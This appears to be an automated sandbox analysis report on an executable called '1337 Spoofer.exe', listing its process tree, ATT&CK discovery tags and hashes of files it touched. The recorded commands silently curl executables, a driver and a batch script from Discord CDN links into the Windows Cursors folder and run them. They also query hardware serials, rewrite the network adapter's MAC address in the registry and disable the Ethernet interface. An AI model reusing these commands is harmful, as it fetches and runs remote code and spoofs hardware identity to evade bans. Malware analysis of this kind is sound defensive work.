- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa1ae29758,0x7ffa1ae29768,0x7ffa1ae29778
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1776 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:2
  2⤵
  PID:4740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2228 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:1712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2864 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:1904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2868 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:4100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4616 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5168 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:4356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5276 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:1716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4976 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3124 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:1
  2⤵
  PID:544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4852 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:5064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5812 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:5108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5788 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:3740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5932 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:3340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5928 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:2068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5820 --field-trial-handle=1688,i,2275453593706701047,13841181993746030726,131072 /prefetch:8
  2⤵
  PID:864
- C:\Users\Admin\Downloads\1337 Spoofer.exe
  "C:\Users\Admin\Downloads\1337 Spoofer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\AMIDEWINx64.EXE >nul 2>&1
    3⤵
    PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\amifldrv64.sys >nul 2>&1
    3⤵
    PID:2804
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get serialnumber
      4⤵
      PID:224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Mac.bat >nul 2>&1
    3⤵
    PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Volumeid.exe >nul 2>&1
    3⤵
    PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Del C:\Windows\Cursors\Volumeid64.exe >nul 2>&1
    3⤵
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo CPU
    3⤵
    PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic cpu get serialnumber
    3⤵
    PID:2804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo Bios
    3⤵
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic bios get serialnumber
    3⤵
    PID:3680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get serialnumber
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c Echo Motherboard
    3⤵
    PID:1716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic baseboard get serialnumber
    3⤵
    PID:1080
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber
      4⤵
      PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause >nul
    3⤵
    PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966858539225199/AMIDEWINx64.EXE --output C:\Windows\Cursors\AMIDEWINx64.EXE >nul 2>&1
    3⤵
    PID:2804
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966858539225199/AMIDEWINx64.EXE --output C:\Windows\Cursors\AMIDEWINx64.EXE
      4⤵
      Drops file in Windows directory
      PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966868681043988/amifldrv64.sys --output C:\Windows\Cursors\amifldrv64.sys >nul 2>&1
    3⤵
    PID:3316
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966868681043988/amifldrv64.sys --output C:\Windows\Cursors\amifldrv64.sys
      4⤵
      Drops file in Windows directory
      PID:4588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966882983616552/Volumeid.exe --output C:\Windows\Cursors\Volumeid.exe >nul 2>&1
    3⤵
    PID:1148
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966882983616552/Volumeid.exe --output C:\Windows\Cursors\Volumeid.exe
      4⤵
      Drops file in Windows directory
      PID:3680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966892546625646/Volumeid64.exe --output C:\Windows\Cursors\Volumeid64.exe >nul 2>&1
    3⤵
    PID:4672
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966892546625646/Volumeid64.exe --output C:\Windows\Cursors\Volumeid64.exe
      4⤵
      Drops file in Windows directory
      PID:4300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966901392412682/Mac.bat --output C:\Windows\Cursors\Mac.bat >nul 2>&1
    3⤵
    PID:4812
  - - C:\Windows\system32\curl.exe
      curl --silent https://cdn.discordapp.com/attachments/1119643834998071318/1122966901392412682/Mac.bat --output C:\Windows\Cursors\Mac.bat
      4⤵
      Drops file in Windows directory
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\Cursors\Mac.bat
    3⤵
    PID:3100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:1528
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:1992
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:4768
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:5116
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:1480
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:2996
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v NetworkAddress /t REG_SZ /d AA80299F0033 /f
      4⤵
      PID:4652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
      4⤵
      PID:1060
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where physicaladapter=true get deviceid
        5⤵
        
        PID:4856
    - - C:\Windows\system32\findstr.exe
        
        findstr [0-9]
        5⤵
        
        PID:1488
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01
      4⤵
      PID:2504
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001
      4⤵
      PID:2924
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001
      4⤵
      PID:1076
  - - C:\Windows\system32\reg.exe
      REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v PnPCapabilities /t REG_DWORD /d 24 /f
      4⤵
      PID:4352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"
      4⤵
      PID:2968
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv
        5⤵
        
        PID:2148
  - - C:\Windows\system32\netsh.exe
      netsh interface set interface name="Ethernet" disable
      4⤵
      PID:4888

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4220

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
- Modifies data under HKEY_USERS
PID:3680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
265e45197c60920a99ab36bbf3dfba7b

SHA1
c5720154b97e138df7753e4e528078b09726eab8

SHA256
d6b97af56c95585c188abe5a29ea231548afb96962cf715ca6bf06804069d841

SHA512
29f19369f77fd0ce64037809aafdc076f32da45e713c31d98d6ebb0c86b1c628002b7a78e56600ed0473cfe5f335b29d16473e57ef4b35c86e0826babc54e281

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
288B

MD5
265e45197c60920a99ab36bbf3dfba7b

SHA1
c5720154b97e138df7753e4e528078b09726eab8

SHA256
d6b97af56c95585c188abe5a29ea231548afb96962cf715ca6bf06804069d841

SHA512
29f19369f77fd0ce64037809aafdc076f32da45e713c31d98d6ebb0c86b1c628002b7a78e56600ed0473cfe5f335b29d16473e57ef4b35c86e0826babc54e281

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
535B

MD5
e75121310c70bfdd225ebd6fdbbabdaa

SHA1
908ba6d0cd35b5b9cedd4732e37bedae2a6c4272

SHA256
c5fed22c4103c624373803d3787944daa177182e090c0f9f4a3a405d88430581

SHA512
ad38e0b0278b6e4da4de95997aa8c7e5cb1326bd749a1c8daa531cc3c4446a0b076e2e97f862f397c976381c69f43979b440668b152761e0c5be2dd2c3b8524c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
535B

MD5
e75121310c70bfdd225ebd6fdbbabdaa

SHA1
908ba6d0cd35b5b9cedd4732e37bedae2a6c4272

SHA256
c5fed22c4103c624373803d3787944daa177182e090c0f9f4a3a405d88430581

SHA512
ad38e0b0278b6e4da4de95997aa8c7e5cb1326bd749a1c8daa531cc3c4446a0b076e2e97f862f397c976381c69f43979b440668b152761e0c5be2dd2c3b8524c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
866B

MD5
4ec5042ec09ec7af7253b1c36abe74fb

SHA1
fdbad999d243ee75c5ef297625d2d7e8fde6173b

SHA256
628c0783cfa83cc68c4ac16d5109035c5f369e1ddd6f0c0e4063a520cfbec060

SHA512
5fdd29628947235f78c270da73ec5034fed13eec6812becda6fce0ee98e8ab5b052e4c5a2aeba35d9fefe48fdd6bea3d9124e9b4f55064bff5e043fafcef7dc0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
866B

MD5
4ec5042ec09ec7af7253b1c36abe74fb

SHA1
fdbad999d243ee75c5ef297625d2d7e8fde6173b

SHA256
628c0783cfa83cc68c4ac16d5109035c5f369e1ddd6f0c0e4063a520cfbec060

SHA512
5fdd29628947235f78c270da73ec5034fed13eec6812becda6fce0ee98e8ab5b052e4c5a2aeba35d9fefe48fdd6bea3d9124e9b4f55064bff5e043fafcef7dc0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
48789bfcb356e64069c68634551e53c9

SHA1
84e2c6ef2865671b627deca3b72b8a2d42e2c380

SHA256
9da8fcfc6e129cd1d1aeb21ec80e76e500ce3da5e8b320b91df9bc6c97781148

SHA512
8da2ea9643e284bdc9176ef045d964ca285316aea4b4e605617990d786a5f68dbea932d2db952c6fa543423a0818486b784459ac7e44cbdb36a93f25a5c2f9e6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
48789bfcb356e64069c68634551e53c9

SHA1
84e2c6ef2865671b627deca3b72b8a2d42e2c380

SHA256
9da8fcfc6e129cd1d1aeb21ec80e76e500ce3da5e8b320b91df9bc6c97781148

SHA512
8da2ea9643e284bdc9176ef045d964ca285316aea4b4e605617990d786a5f68dbea932d2db952c6fa543423a0818486b784459ac7e44cbdb36a93f25a5c2f9e6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
c527b2216bfc86c3c0799625e2c362dc

SHA1
9c8a45c5f10d177dc1270c342a41cbf8adc23aa8

SHA256
b4ef9fb948cf2ab8426de9b9ad629103eb73c1a4bdca41ce5337e96192a08e66

SHA512
91dda78fd999dab3255d43ef8a74d5f13404539f3c0153fd202d8cfe16e09944b6c29d7320de5e5013fbde21320869938a90ece9f5f4b890d7f5fbc6b131e6fb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
c527b2216bfc86c3c0799625e2c362dc

SHA1
9c8a45c5f10d177dc1270c342a41cbf8adc23aa8

SHA256
b4ef9fb948cf2ab8426de9b9ad629103eb73c1a4bdca41ce5337e96192a08e66

SHA512
91dda78fd999dab3255d43ef8a74d5f13404539f3c0153fd202d8cfe16e09944b6c29d7320de5e5013fbde21320869938a90ece9f5f4b890d7f5fbc6b131e6fb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
58e0bc4d2ce08745a0ea59c5960e6d35

SHA1
296b2eb990279bfe07d2536ecbac18421b0ae2ed

SHA256
15b918bd76e755b4a9d7cc8f770e1771667925e8b50e32552389d6c5ec20c4cc

SHA512
f724c124fa888a2e5e9a6c2433cc26758574be948bce856388d50614209b9815783ea352280fd35c4ba7f43bb9e5a3544455d8ff5591b0bedcfa19fd4aa32f19

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
15KB

MD5
58e0bc4d2ce08745a0ea59c5960e6d35

SHA1
296b2eb990279bfe07d2536ecbac18421b0ae2ed

SHA256
15b918bd76e755b4a9d7cc8f770e1771667925e8b50e32552389d6c5ec20c4cc

SHA512
f724c124fa888a2e5e9a6c2433cc26758574be948bce856388d50614209b9815783ea352280fd35c4ba7f43bb9e5a3544455d8ff5591b0bedcfa19fd4aa32f19

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
b8ae23cc9a851199c9f76bdc19e101f8

SHA1
3c6e862c028c3e1cd6d9427ec36d6e6413418fda

SHA256
16235d574a807c45c16594661774df491064ce816005b54fd2bceafb055232fb

SHA512
a2b53d0b7f3b6ade0ff19cafc56bc82a903f15f7748500964ef8e7538af0cf32eb0913becc6e33f9e1a6dca473af2aecd13844ac87f5d6ec15e647ed11b91f25

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
b8ae23cc9a851199c9f76bdc19e101f8

SHA1
3c6e862c028c3e1cd6d9427ec36d6e6413418fda

SHA256
16235d574a807c45c16594661774df491064ce816005b54fd2bceafb055232fb

SHA512
a2b53d0b7f3b6ade0ff19cafc56bc82a903f15f7748500964ef8e7538af0cf32eb0913becc6e33f9e1a6dca473af2aecd13844ac87f5d6ec15e647ed11b91f25

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe580e82.TMP

Filesize
48B

MD5
db59821c08bacd88202263f784d02007

SHA1
c07db3d63c8e4e2953c7f6cf9dcb8bfb3b967070

SHA256
ba70d0e79f360dbf7ecf13a2290792a89108aec8edf407275c49619dfa8d96e0

SHA512
3ea3b201fd9026cdc75f9a678c17d8e775eb857382ec6be6d0cba2e437f7f797ec38c7844d8556964dfa9415403ef05ee0d84a5a2d9742e042c17744bf24aca5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe580e82.TMP

Filesize
48B

MD5
db59821c08bacd88202263f784d02007

SHA1
c07db3d63c8e4e2953c7f6cf9dcb8bfb3b967070

SHA256
ba70d0e79f360dbf7ecf13a2290792a89108aec8edf407275c49619dfa8d96e0

SHA512
3ea3b201fd9026cdc75f9a678c17d8e775eb857382ec6be6d0cba2e437f7f797ec38c7844d8556964dfa9415403ef05ee0d84a5a2d9742e042c17744bf24aca5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
173KB

MD5
5508bb399786436c66a395a85e68eb5f

SHA1
9ad5c35b3419a286344f0233801225e0b6239ebb

SHA256
06b7cdf1937e9fc5feb2acf0b9708aa462551bf66363f11973eb9ce532aaf39e

SHA512
45e3a56163361f3b6d380d5710399878ad0d4948518433c3081c9ce3853604aaa7a6f62bb80ed8640c2dee8b71c351adf879b778c3046b7b0c917d206028b764

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
173KB

MD5
5508bb399786436c66a395a85e68eb5f

SHA1
9ad5c35b3419a286344f0233801225e0b6239ebb

SHA256
06b7cdf1937e9fc5feb2acf0b9708aa462551bf66363f11973eb9ce532aaf39e

SHA512
45e3a56163361f3b6d380d5710399878ad0d4948518433c3081c9ce3853604aaa7a6f62bb80ed8640c2dee8b71c351adf879b778c3046b7b0c917d206028b764

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
173KB

MD5
150ddf013c361de44c91ca291b26cee3

SHA1
b41dfff0785213e7613d2834bdd4bff5dcfa9236

SHA256
d3f7a7735478f647a1d0b7e28c962decbb4ecfb8cc2c41e854d906419405a9d7

SHA512
481d6ff4288837d3e6d99327fab38a609c0647c6fce7dee3e105fe85b0469cc007f1b21a143ef49eff70cd2783f5be5a6c8fccbe9c02cceff37ae04be24df123

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
173KB

MD5
150ddf013c361de44c91ca291b26cee3

SHA1
b41dfff0785213e7613d2834bdd4bff5dcfa9236

SHA256
d3f7a7735478f647a1d0b7e28c962decbb4ecfb8cc2c41e854d906419405a9d7

SHA512
481d6ff4288837d3e6d99327fab38a609c0647c6fce7dee3e105fe85b0469cc007f1b21a143ef49eff70cd2783f5be5a6c8fccbe9c02cceff37ae04be24df123

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
114KB

MD5
ea52bcbd4d39c9551c5ad05022400f0b

SHA1
9e08e3eac6b444d2381189ed3f08d3659ba77de8

SHA256
e098ecab0db50df0d20297c8b7e9239cba78e185da6f9938743b144a294b0d89

SHA512
bf629b2da187ad8ad0712b7f8a1c0667965d3e9aabcc9984a7019e192d8ff6400721a653091e54528d9b4e911654bcda68088eccd2161b421bf03f772b5e193a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
114KB

MD5
ea52bcbd4d39c9551c5ad05022400f0b

SHA1
9e08e3eac6b444d2381189ed3f08d3659ba77de8

SHA256
e098ecab0db50df0d20297c8b7e9239cba78e185da6f9938743b144a294b0d89

SHA512
bf629b2da187ad8ad0712b7f8a1c0667965d3e9aabcc9984a7019e192d8ff6400721a653091e54528d9b4e911654bcda68088eccd2161b421bf03f772b5e193a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe583f46.TMP

Filesize
101KB

MD5
9f5462e66f6f7d83d4fd7f6f5eb53955

SHA1
6f6a18530ecebe745cc2488f1a5d408070f3f16a

SHA256
23cbb3725edf4c1686dddd54df787dc0af9af7c0254edc427ffc7271bc5748fb

SHA512
6cd30347326012585c563ee738a4587b973c54ef55a93c951f30dddb23d8aca9e908f51bb39228b20bb7c377c6c68e70ce418db1f20eabeeaf693b10150503bd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe583f46.TMP

Filesize
101KB

MD5
9f5462e66f6f7d83d4fd7f6f5eb53955

SHA1
6f6a18530ecebe745cc2488f1a5d408070f3f16a

SHA256
23cbb3725edf4c1686dddd54df787dc0af9af7c0254edc427ffc7271bc5748fb

SHA512
6cd30347326012585c563ee738a4587b973c54ef55a93c951f30dddb23d8aca9e908f51bb39228b20bb7c377c6c68e70ce418db1f20eabeeaf693b10150503bd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
